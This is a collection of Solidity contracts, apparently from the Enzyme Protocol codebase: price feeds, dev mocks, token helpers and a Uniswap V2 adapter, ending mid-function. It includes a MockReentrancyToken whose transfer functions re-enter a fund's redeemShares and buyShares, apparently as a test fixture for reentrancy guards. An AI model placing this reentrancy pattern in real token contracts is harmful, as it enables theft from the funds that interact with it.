/// @param _aggregator The Chainlink aggregator of which to check staleness
/// @return rateIsStale_ True if the rate is considered stale
function rateIsStale(address _aggregator) public view returns (bool rateIsStale_) {
return
IChainlinkAggregator(_aggregator).latestTimestamp() <
block.timestamp.sub(staleRateThreshold);
}
/// @dev Helper to add primitives to the feed
function __addPrimitives(
address[] memory _primitives,
address[] memory _aggregators,
RateAsset[] memory _rateAssets
) private {
require(
_primitives.length == _aggregators.length,
"__addPrimitives: Unequal _primitives and _aggregators array lengths"
);
require(
_primitives.length == _rateAssets.length,
"__addPrimitives: Unequal _primitives and _rateAssets array lengths"
);
for (uint256 i = 0; i < _primitives.length; i++) {
require(
primitiveToAggregatorInfo[_primitives[i]].aggregator == address(0),
"__addPrimitives: Value already set"
);
__validateAggregator(_aggregators[i]);
primitiveToAggregatorInfo[_primitives[i]] = AggregatorInfo({
aggregator: _aggregators[i],
rateAsset: _rateAssets[i]
});
// Store the amount that makes up 1 unit given the asset's decimals
uint256 unit = 10**uint256(ERC20(_primitives[i]).decimals());
primitiveToUnit[_primitives[i]] = unit;
emit PrimitiveAdded(_primitives[i], _aggregators[i], _rateAssets[i], unit);
}
}
/// @dev Helper to validate an aggregator by checking its return values for the expected interface
function __validateAggregator(address _aggregator) private view {
require(_aggregator != address(0), "__validateAggregator: Empty _aggregator");
require(
IChainlinkAggregator(_aggregator).latestAnswer() > 0,
"__validateAggregator: No rate detected"
);
require(!rateIsStale(_aggregator), "__validateAggregator: Stale rate detected");
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the aggregatorInfo variable value for a primitive
/// @param _primitive The primitive asset for which to get the aggregatorInfo value
/// @return aggregatorInfo_ The aggregatorInfo value
function getAggregatorInfoForPrimitive(address _primitive)
external
view
returns (AggregatorInfo memory aggregatorInfo_)
{
return primitiveToAggregatorInfo[_primitive];
}
/// @notice Gets the `ethUsdAggregator` variable value
/// @return ethUsdAggregator_ The `ethUsdAggregator` variable value
function getEthUsdAggregator() external view returns (address ethUsdAggregator_) {
return ethUsdAggregator;
}
/// @notice Gets the `staleRateThreshold` variable value
/// @return staleRateThreshold_ The `staleRateThreshold` variable value
function getStaleRateThreshold() external view returns (uint256 staleRateThreshold_) {
return staleRateThreshold;
}
/// @notice Gets the `WETH_TOKEN` variable value
/// @return wethToken_ The `WETH_TOKEN` variable value
function getWethToken() external view returns (address wethToken_) {
return WETH_TOKEN;
}
/// @notice Gets the rateAsset variable value for a primitive
/// @return rateAsset_ The rateAsset variable value
/// @dev This isn't strictly necessary as WETH_TOKEN will be undefined and thus
/// the RateAsset will be the 0-position of the enum (i.e. ETH), but it makes the
/// behavior more explicit
function getRateAssetForPrimitive(address _primitive)
public
view
returns (RateAsset rateAsset_)
{
if (_primitive == WETH_TOKEN) {
return RateAsset.ETH;
}
return primitiveToAggregatorInfo[_primitive].rateAsset;
}
/// @notice Gets the unit variable value for a primitive
/// @return unit_ The unit variable value
function getUnitForPrimitive(address _primitive) public view returns (uint256 unit_) {
if (_primitive == WETH_TOKEN) {
return ETH_UNIT;
}
return primitiveToUnit[_primitive];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../../release/infrastructure/value-interpreter/IValueInterpreter.sol";
import "../../release/infrastructure/price-feeds/derivatives/IAggregatedDerivativePriceFeed.sol";
import "../../release/infrastructure/price-feeds/primitives/IPrimitivePriceFeed.sol";
/// @dev This contract acts as a centralized rate provider for mocks.
/// Suited for a dev environment, it doesn't take into account gas costs.
contract CentralizedRateProvider is Ownable {
using SafeMath for uint256;
address private immutable WETH;
uint256 private maxDeviationPerSender;
// Addresses are not immutable to facilitate lazy load (they're are not accessible at the mock env).
address private valueInterpreter;
address private aggregateDerivativePriceFeed;
address private primitivePriceFeed;
constructor(address _weth, uint256 _maxDeviationPerSender) public {
maxDeviationPerSender = _maxDeviationPerSender;
WETH = _weth;
}
/// @dev Calculates the value of a _baseAsset relative to a _quoteAsset.
/// Label to ValueInterprete's calcLiveAssetValue
function calcLiveAssetValue(
address _baseAsset,
uint256 _amount,
address _quoteAsset
) public returns (uint256 value_) {
uint256 baseDecimalsRate = 10**uint256(ERC20(_baseAsset).decimals());
uint256 quoteDecimalsRate = 10**uint256(ERC20(_quoteAsset).decimals());
// 1. Check if quote asset is a primitive. If it is, use ValueInterpreter normally.
if (IPrimitivePriceFeed(primitivePriceFeed).isSupportedAsset(_quoteAsset)) {
(value_, ) = IValueInterpreter(valueInterpreter).calcLiveAssetValue(
_baseAsset,
_amount,
_quoteAsset
);
return value_;
}
// 2. Otherwise, check if base asset is a primitive, and use inverse rate from Value Interpreter.
if (IPrimitivePriceFeed(primitivePriceFeed).isSupportedAsset(_baseAsset)) {
(uint256 inverseRate, ) = IValueInterpreter(valueInterpreter).calcLiveAssetValue(
_quoteAsset,
10**uint256(ERC20(_quoteAsset).decimals()),
_baseAsset
);
uint256 rate = uint256(baseDecimalsRate).mul(quoteDecimalsRate).div(inverseRate);
value_ = _amount.mul(rate).div(baseDecimalsRate);
return value_;
}
// 3. If both assets are derivatives, calculate the rate against ETH.
(uint256 baseToWeth, ) = IValueInterpreter(valueInterpreter).calcLiveAssetValue(
_baseAsset,
baseDecimalsRate,
WETH
);
(uint256 quoteToWeth, ) = IValueInterpreter(valueInterpreter).calcLiveAssetValue(
_quoteAsset,
quoteDecimalsRate,
WETH
);
value_ = _amount.mul(baseToWeth).mul(quoteDecimalsRate).div(quoteToWeth).div(
baseDecimalsRate
);
return value_;
}
/// @dev Calculates a randomized live value of an asset
/// Aggregation of two randomization seeds: msg.sender, and by block.number.
function calcLiveAssetValueRandomized(
address _baseAsset,
uint256 _amount,
address _quoteAsset,
uint256 _maxDeviationPerBlock
) external returns (uint256 value_) {
uint256 liveAssetValue = calcLiveAssetValue(_baseAsset, _amount, _quoteAsset);
// Range [liveAssetValue * (1 - _blockNumberDeviation), liveAssetValue * (1 + _blockNumberDeviation)]
uint256 senderRandomizedValue_ = __calcValueRandomizedByAddress(
liveAssetValue,
msg.sender,
maxDeviationPerSender
);
// Range [liveAssetValue * (1 - _maxDeviationPerBlock - maxDeviationPerSender), liveAssetValue * (1 + _maxDeviationPerBlock + maxDeviationPerSender)]
value_ = __calcValueRandomizedByUint(
senderRandomizedValue_,
block.number,
_maxDeviationPerBlock
);
return value_;
}
/// @dev Calculates the live value of an asset including a grade of pseudo randomization, using msg.sender as the source of randomness
function calcLiveAssetValueRandomizedByBlockNumber(
address _baseAsset,
uint256 _amount,
address _quoteAsset,
uint256 _maxDeviationPerBlock
) external returns (uint256 value_) {
uint256 liveAssetValue = calcLiveAssetValue(_baseAsset, _amount, _quoteAsset);
value_ = __calcValueRandomizedByUint(liveAssetValue, block.number, _maxDeviationPerBlock);
return value_;
}
/// @dev Calculates the live value of an asset including a grade of pseudo-randomization, using `block.number` as the source of randomness
function calcLiveAssetValueRandomizedBySender(
address _baseAsset,
uint256 _amount,
address _quoteAsset
) external returns (uint256 value_) {
uint256 liveAssetValue = calcLiveAssetValue(_baseAsset, _amount, _quoteAsset);
value_ = __calcValueRandomizedByAddress(liveAssetValue, msg.sender, maxDeviationPerSender);
return value_;
}
function setMaxDeviationPerSender(uint256 _maxDeviationPerSender) external onlyOwner {
maxDeviationPerSender = _maxDeviationPerSender;
}
/// @dev Connector from release environment, inject price variables into the provider.
function setReleasePriceAddresses(
address _valueInterpreter,
address _aggregateDerivativePriceFeed,
address _primitivePriceFeed
) external onlyOwner {
valueInterpreter = _valueInterpreter;
aggregateDerivativePriceFeed = _aggregateDerivativePriceFeed;
primitivePriceFeed = _primitivePriceFeed;
}
// PRIVATE FUNCTIONS
/// @dev Calculates a a pseudo-randomized value as a seed an address
function __calcValueRandomizedByAddress(
uint256 _meanValue,
address _seed,
uint256 _maxDeviation
) private pure returns (uint256 value_) {
// Value between [0, 100]
uint256 senderRandomFactor = uint256(uint8(_seed))
.mul(100)
.div(256)
.mul(_maxDeviation)
.div(100);
value_ = __calcDeviatedValue(_meanValue, senderRandomFactor, _maxDeviation);
return value_;
}
/// @dev Calculates a a pseudo-randomized value as a seed an uint256
function __calcValueRandomizedByUint(
uint256 _meanValue,
uint256 _seed,
uint256 _maxDeviation
) private pure returns (uint256 value_) {
// Depending on the _seed number, it will be one of {20, 40, 60, 80, 100}
uint256 randomFactor = (_seed.mod(2).mul(20))
.add((_seed.mod(3).mul(40)))
.mul(_maxDeviation)
.div(100);
value_ = __calcDeviatedValue(_meanValue, randomFactor, _maxDeviation);
return value_;
}
/// @dev Given a mean value and a max deviation, returns a value in the spectrum between 0 (_meanValue - maxDeviation) and 100 (_mean + maxDeviation)
/// TODO: Refactor to use 18 decimal precision
function __calcDeviatedValue(
uint256 _meanValue,
uint256 _offset,
uint256 _maxDeviation
) private pure returns (uint256 value_) {
return
_meanValue.add((_meanValue.mul((uint256(2)).mul(_offset)).div(uint256(100)))).sub(
_meanValue.mul(_maxDeviation).div(uint256(100))
);
}
///////////////////
// STATE GETTERS //
///////////////////
function getMaxDeviationPerSender() public view returns (uint256 maxDeviationPerSender_) {
return maxDeviationPerSender;
}
function getValueInterpreter() public view returns (address valueInterpreter_) {
return valueInterpreter;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../release/interfaces/IUniswapV2Pair.sol";
import "../prices/CentralizedRateProvider.sol";
import "../tokens/MockToken.sol";
/// @dev This price source mocks the integration with Uniswap Pair
/// Docs of Uniswap Pair implementation: <https://uniswap.org/docs/v2/smart-contracts/pair/>
contract MockUniswapV2PriceSource is MockToken("Uniswap V2", "UNI-V2", 18) {
using SafeMath for uint256;
address private immutable TOKEN_0;
address private immutable TOKEN_1;
address private immutable CENTRALIZED_RATE_PROVIDER;
constructor(
address _centralizedRateProvider,
address _token0,
address _token1
) public {
CENTRALIZED_RATE_PROVIDER = _centralizedRateProvider;
TOKEN_0 = _token0;
TOKEN_1 = _token1;
}
/// @dev returns reserves for each token on the Uniswap Pair
/// Reserves will be used to calculate the pair price
/// Inherited from IUniswapV2Pair
function getReserves()
external
returns (
uint112 reserve0_,
uint112 reserve1_,
uint32 blockTimestampLast_
)
{
uint256 baseAmount = ERC20(TOKEN_0).balanceOf(address(this));
reserve0_ = uint112(baseAmount);
reserve1_ = uint112(
CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER).calcLiveAssetValue(
TOKEN_0,
baseAmount,
TOKEN_1
)
);
return (reserve0_, reserve1_, blockTimestampLast_);
}
///////////////////
// STATE GETTERS //
///////////////////
/// @dev Inherited from IUniswapV2Pair
function token0() public view returns (address) {
return TOKEN_0;
}
/// @dev Inherited from IUniswapV2Pair
function token1() public view returns (address) {
return TOKEN_1;
}
/// @dev Inherited from IUniswapV2Pair
function kLast() public pure returns (uint256) {
return 0;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20Burnable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract MockToken is ERC20Burnable, Ownable {
using SafeMath for uint256;
mapping(address => bool) private addressToIsMinter;
modifier onlyMinter() {
require(
addressToIsMinter[msg.sender] || owner() == msg.sender,
"msg.sender is not owner or minter"
);
_;
}
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals
) public ERC20(_name, _symbol) {
_setupDecimals(_decimals);
_mint(msg.sender, uint256(100000000).mul(10**uint256(_decimals)));
}
function mintFor(address _who, uint256 _amount) external onlyMinter {
_mint(_who, _amount);
}
function mint(uint256 _amount) external onlyMinter {
_mint(msg.sender, _amount);
}
function addMinters(address[] memory _minters) public onlyOwner {
for (uint256 i = 0; i < _minters.length; i++) {
addressToIsMinter[_minters[i]] = true;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./ERC20.sol";
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
using SafeMath for uint256;
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../release/core/fund/comptroller/ComptrollerLib.sol";
import "./MockToken.sol";
/// @title MockReentrancyToken Contract
/// @author Enzyme Council <[email protected]>
/// @notice A mock ERC20 token implementation that is able to re-entrance redeemShares and buyShares functions
contract MockReentrancyToken is MockToken("Mock Reentrancy Token", "MRT", 18) {
bool public bad;
address public comptrollerProxy;
function makeItReentracyToken(address _comptrollerProxy) external {
bad = true;
comptrollerProxy = _comptrollerProxy;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
if (bad) {
ComptrollerLib(comptrollerProxy).redeemShares();
} else {
_transfer(_msgSender(), recipient, amount);
}
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
if (bad) {
ComptrollerLib(comptrollerProxy).buyShares(
new address[](0),
new uint256[](0),
new uint256[](0)
);
} else {
_transfer(sender, recipient, amount);
}
return true;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./../../release/interfaces/ISynthetixProxyERC20.sol";
import "./../../release/interfaces/ISynthetixSynth.sol";
import "./MockToken.sol";
contract MockSynthetixToken is ISynthetixProxyERC20, ISynthetixSynth, MockToken {
using SafeMath for uint256;
bytes32 public override currencyKey;
uint256 public constant WAITING_PERIOD_SECS = 3 * 60;
mapping(address => uint256) public timelockByAccount;
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals,
bytes32 _currencyKey
) public MockToken(_name, _symbol, _decimals) {
currencyKey = _currencyKey;
}
function setCurrencyKey(bytes32 _currencyKey) external onlyOwner {
currencyKey = _currencyKey;
}
function _isLocked(address account) internal view returns (bool) {
return timelockByAccount[account] >= now;
}
function _beforeTokenTransfer(
address from,
address,
uint256
) internal override {
require(!_isLocked(from), "Cannot settle during waiting period");
}
function target() external view override returns (address) {
return address(this);
}
function isLocked(address account) external view returns (bool) {
return _isLocked(account);
}
function burnFrom(address account, uint256 amount) public override {
_burn(account, amount);
}
function lock(address account) public {
timelockByAccount[account] = now.add(WAITING_PERIOD_SECS);
}
function unlock(address account) public {
timelockByAccount[account] = 0;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../../../interfaces/IUniswapV2Factory.sol";
import "../../../../interfaces/IUniswapV2Router2.sol";
import "../utils/AdapterBase.sol";
/// @title UniswapV2Adapter Contract
/// @author Enzyme Council <[email protected]>
/// @notice Adapter for interacting with Uniswap v2
contract UniswapV2Adapter is AdapterBase {
using SafeMath for uint256;
address private immutable FACTORY;
address private immutable ROUTER;
constructor(
address _integrationManager,
address _router,
address _factory
) public AdapterBase(_integrationManager) {
FACTORY = _factory;
ROUTER = _router;
}
// EXTERNAL FUNCTIONS
/// @notice Provides a constant string identifier for an adapter
/// @return identifier_ The identifer string
function identifier() external pure override returns (string memory identifier_) {
return "UNISWAP_V2";
}
/// @notice Parses the expected assets to receive from a call on integration
/// @param _selector The function selector for the callOnIntegration
/// @param _encodedCallArgs The encoded parameters for the callOnIntegration
/// @return spendAssetsHandleType_ A type that dictates how to handle granting
/// the adapter access to spend assets (`None` by default)
/// @return spendAssets_ The assets to spend in the call
/// @return spendAssetAmounts_ The max asset amounts to spend in the call
/// @return incomingAssets_ The assets to receive in the call
/// @return minIncomingAssetAmounts_ The min asset amounts to receive in the call
function parseAssetsForMethod(bytes4 _selector, bytes calldata _encodedCallArgs)
external
view
override
returns (
IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_,
address[] memory spendAssets_,
uint256[] memory spendAssetAmounts_,
address[] memory incomingAssets_,
uint256[] memory minIncomingAssetAmounts_
)
{
if (_selector == LEND_SELECTOR) {
(
address[2] memory outgoingAssets,
uint256[2] memory maxOutgoingAssetAmounts,
,
uint256 minIncomingAssetAmount
) = __decodeLendCallArgs(_encodedCallArgs);
spendAssets_ = new address[](2);
spendAssets_[0] = outgoingAssets[0];
spendAssets_[1] = outgoingAssets[1];
spendAssetAmounts_ = new uint256[](2);
spendAssetAmounts_[0] = maxOutgoingAssetAmounts[0];
spendAssetAmounts_[1] = maxOutgoingAssetAmounts[1];
incomingAssets_ = new address[](1);
// No need to validate not address(0), this will be caught in IntegrationManager
incomingAssets_[0] = IUniswapV2Factory(FACTORY).getPair(
outgoingAssets[0],
outgoingAssets[1]
);
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = minIncomingAssetAmount;
} else if (_selector == REDEEM_SELECTOR) {
(
uint256 outgoingAssetAmount,
address[2] memory incomingAssets,
uint256[2] memory minIncomingAssetAmounts
) = __decodeRedeemCallArgs(_encodedCallArgs);
spendAssets_ = new address[](1);
// No need to validate not address(0), this will be caught in IntegrationManager
spendAssets_[0] = IUniswapV2Factory(FACTORY).getPair(
incomingAssets[0],
incomingAssets[1]
);
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = outgoingAssetAmount;
incomingAssets_ = new address[](2);
incomingAssets_[0] = incomingAssets[0];
incomingAssets_[1] = incomingAssets[1];
minIncomingAssetAmounts_ = new uint256[](2);
minIncomingAssetAmounts_[0] = minIncomingAssetAmounts[0];
minIncomingAssetAmounts_[1] = minIncomingAssetAmounts[1];
} else if (_selector == TAKE_ORDER_SELECTOR) {
(
address[] memory path,
uint256 outgoingAssetAmount,
uint256 minIncomingAssetAmount
) = __decodeTakeOrderCallArgs(_encodedCallArgs);
require(path.length >= 2, "parseAssetsForMethod: _path must be >= 2");
spendAssets_ = new address[](1);
spendAssets_[0] = path[0];
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = outgoingAssetAmount;
incomingAssets_ = new address[](1);
incomingAssets_[0] = path[path.length - 1];
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = minIncomingAssetAmount;
} else {
revert("parseAssetsForMethod: _selector invalid");
}
return (
IIntegrationManager.SpendAssetsHandleType.Transfer,
spendAssets_,
spendAssetAmounts_,
incomingAssets_,
minIncomingAssetAmounts_
);
}
/// @notice Lends assets for pool tokens on Uniswap
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function lend(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
fundAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
(
address[2] memory outgoingAssets,
uint256[2] memory maxOutgoingAssetAmounts,
uint256[2] memory minOutgoingAssetAmounts,
) = __decodeLendCallArgs(_encodedCallArgs);
__lend(
_vaultProxy,
outgoingAssets[0],
outgoingAssets[1],
maxOutgoingAssetAmounts[0],
maxOutgoingAssetAmounts[1],
minOutgoingAssetAmounts[0],
minOutgoingAssetAmounts[1]
);
}
/// @notice Redeems pool tokens on Uniswap
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function redeem(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
fundAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
(
uint256 outgoingAssetAmount,
address[2] memory incomingAssets,
uint256[2] memory minIncomingAssetAmounts
) = __decodeRedeemCallArgs(_encodedCallArgs);
// More efficient to parse pool token from _encodedAssetTransferArgs than external call
(, address[] memory spendAssets, , ) = __decodeEncodedAssetTransferArgs(
_encodedAssetTransferArgs
);
__redeem(
_vaultProxy,
spendAssets[0],
outgoingAssetAmount,
incomingAssets[0],
incomingAssets[1],
minIncomingAssetAmounts[0],
minIncomingAssetAmounts[1]
);
}
/// @notice Trades assets on Uniswap
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function takeOrder(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
fundAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
(
address[] memory path,
uint256 outgoingAssetAmount,
uint256 minIncomingAssetAmount
) = __decodeTakeOrderCallArgs(_encodedCallArgs);
__takeOrder(_vaultProxy, outgoingAssetAmount, minIncomingAssetAmount, path);
}
// PRIVATE FUNCTIONS
/// @dev Helper to decode the lend encoded call arguments
function __decodeLendCallArgs(bytes memory _encodedCallArgs)
private
pure
returns (
address[2] memory outgoingAssets_,
uint256[2] memory maxOutgoingAssetAmounts_,
uint256[2] memory minOutgoingAssetAmounts_,
uint256 minIncomingAssetAmount_
)
{
return abi.decode(_encodedCallArgs, (address[2], uint256[2], uint256[2], uint256));
}
/// @dev Helper to decode the redeem encoded call arguments
function __decodeRedeemCallArgs(bytes memory _encodedCallArgs)
private
pure
returns (
uint256 outgoingAssetAmount_,
address[2] memory incomingAssets_,
uint256[2] memory minIncomingAssetAmounts_
)
{
return abi.decode(_encodedCallArgs, (uint256, address[2], uint256[2]));
}
/// @dev Helper to decode the take order encoded call arguments
function __decodeTakeOrderCallArgs(bytes memory _encodedCallArgs)
private
pure
returns (
address[] memory path_,
uint256 outgoingAssetAmount_,
uint256 minIncomingAssetAmount_
)
{
return abi.decode(_encodedCallArgs, (address[], uint256, uint256));
}
/// @dev Helper to execute lend. Avoids stack-too-deep error.
function __lend(
address _vaultProxy,
address _tokenA,
address _tokenB,
uint256 _amountADesired,
uint256 _amountBDesired,
uint256 _amountAMin,
uint256 _amountBMin
) private {
__approveMaxAsNeeded(_tokenA, ROUTER, _amountADesired);
__approveMaxAsNeeded(_tokenB, ROUTER, _amountBDesired);
// Execute lend on Uniswap
IUniswapV2Router2(ROUTER).addLiquidity(
_tokenA,
_tokenB,
_amountADesired,
_amountBDesired,
_amountAMin,
_amountBMin,
_vaultProxy,
block.timestamp.add(1)
);
}
/// @dev Helper to execute redeem. Avoids stack-too-deep error.
function __redeem(
address _vaultProxy,
address _poolToken,
uint256 _poolTokenAmount,
address _tokenA,
address _tokenB,
uint256 _amountAMin,
uint256 _amountBMin
) private {
__approveMaxAsNeeded(_poolToken, ROUTER, _poolTokenAmount);
// Execute redeem on Uniswap
IUniswapV2Router2(ROUTER).removeLiquidity(
_tokenA,
_tokenB,
_poolTokenAmount,
_amountAMin,
_amountBMin,
_vaultProxy,
block.timestamp.add(1)
);
}
/// @dev Helper to execute takeOrder. Avoids stack-too-deep error.
function __takeOrder(
address _vaultProxy,
uint256 _outgoingAssetAmount,
uint256 _minIncomingAssetAmount,
address[] memory _path
) private {
__approveMaxAsNeeded(_path[0], ROUTER, _outgoingAssetAmount);
// Execute fill
IUniswapV2Router2(ROUTER).swapExactTokensForTokens(
_outgoingAssetAmount,
_minIncomingAssetAmount,
_path,
_vaultProxy,
block.timestamp.add(1)
);
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `FACTORY` variable
/// @return factory_ The `FACTORY` variable value
function getFactory() external view returns (address factory_) {
return FACTORY;
}
/// @notice Gets the `ROUTER` variable
/// @return router_ The `ROUTER` variable value
function getRouter() external view returns (address router_) {
return ROUTER;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title UniswapV2Router2 Interface
/// @author Enzyme Council <[email protected]>
/// @dev Minimal interface for our interactions with Uniswap V2's Router2
interface IUniswapV2Router2 {
function addLiquidity(
address,
address,
uint256,
uint256,
uint256,
uint256,
address,
uint256
)
external
returns (
uint256,
uint256,
uint256
);
function removeLiquidity(
address,
address,
uint256,
uint256,
uint256,
address,
uint256
) external returns (uint256, uint256);
function swapExactTokensForTokens(
uint256,
uint256,
address[] calldata,
address,
uint256
) external returns (uint256[] memory);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../../../../interfaces/ICurveAddressProvider.sol";
import "../../../../interfaces/ICurveLiquidityGaugeToken.sol";
import "../../../../interfaces/ICurveLiquidityPool.sol";
import "../../../../interfaces/ICurveRegistry.sol";
import "../../../utils/DispatcherOwnerMixin.sol";
import "../IDerivativePriceFeed.sol";
/// @title CurvePriceFeed Contract
/// @author Enzyme Council <[email protected]>
/// @notice Price feed for Curve pool tokens
contract CurvePriceFeed is IDerivativePriceFeed, DispatcherOwnerMixin {
using SafeMath for uint256;
event DerivativeAdded(
address indexed derivative,
address indexed pool,
address indexed invariantProxyAsset,
uint256 invariantProxyAssetDecimals
);
event DerivativeRemoved(address indexed derivative);
// Both pool tokens and liquidity gauge tokens are treated the same for pricing purposes.
// We take one asset as representative of the pool's invariant, e.g., WETH for ETH-based pools.
struct DerivativeInfo {
address pool;
address invariantProxyAsset;
uint256 invariantProxyAssetDecimals;
}
uint256 private constant VIRTUAL_PRICE_UNIT = 10**18;
address private immutable ADDRESS_PROVIDER;
mapping(address => DerivativeInfo) private derivativeToInfo;
constructor(address _dispatcher, address _addressProvider)
public
DispatcherOwnerMixin(_dispatcher)
{
ADDRESS_PROVIDER = _addressProvider;
}
/// @notice Converts a given amount of a derivative to its underlying asset values
/// @param _derivative The derivative to convert
/// @param _derivativeAmount The amount of the derivative to convert
/// @return underlyings_ The underlying assets for the _derivative
/// @return underlyingAmounts_ The amount of each underlying asset for the equivalent derivative amount
function calcUnderlyingValues(address _derivative, uint256 _derivativeAmount)
public
override
returns (address[] memory underlyings_, uint256[] memory underlyingAmounts_)
{
DerivativeInfo memory derivativeInfo = derivativeToInfo[_derivative];
require(
derivativeInfo.pool != address(0),
"calcUnderlyingValues: _derivative is not supported"
);
underlyings_ = new address[](1);
underlyings_[0] = derivativeInfo.invariantProxyAsset;
underlyingAmounts_ = new uint256[](1);
if (derivativeInfo.invariantProxyAssetDecimals == 18) {
underlyingAmounts_[0] = _derivativeAmount
.mul(ICurveLiquidityPool(derivativeInfo.pool).get_virtual_price())
.div(VIRTUAL_PRICE_UNIT);
} else {
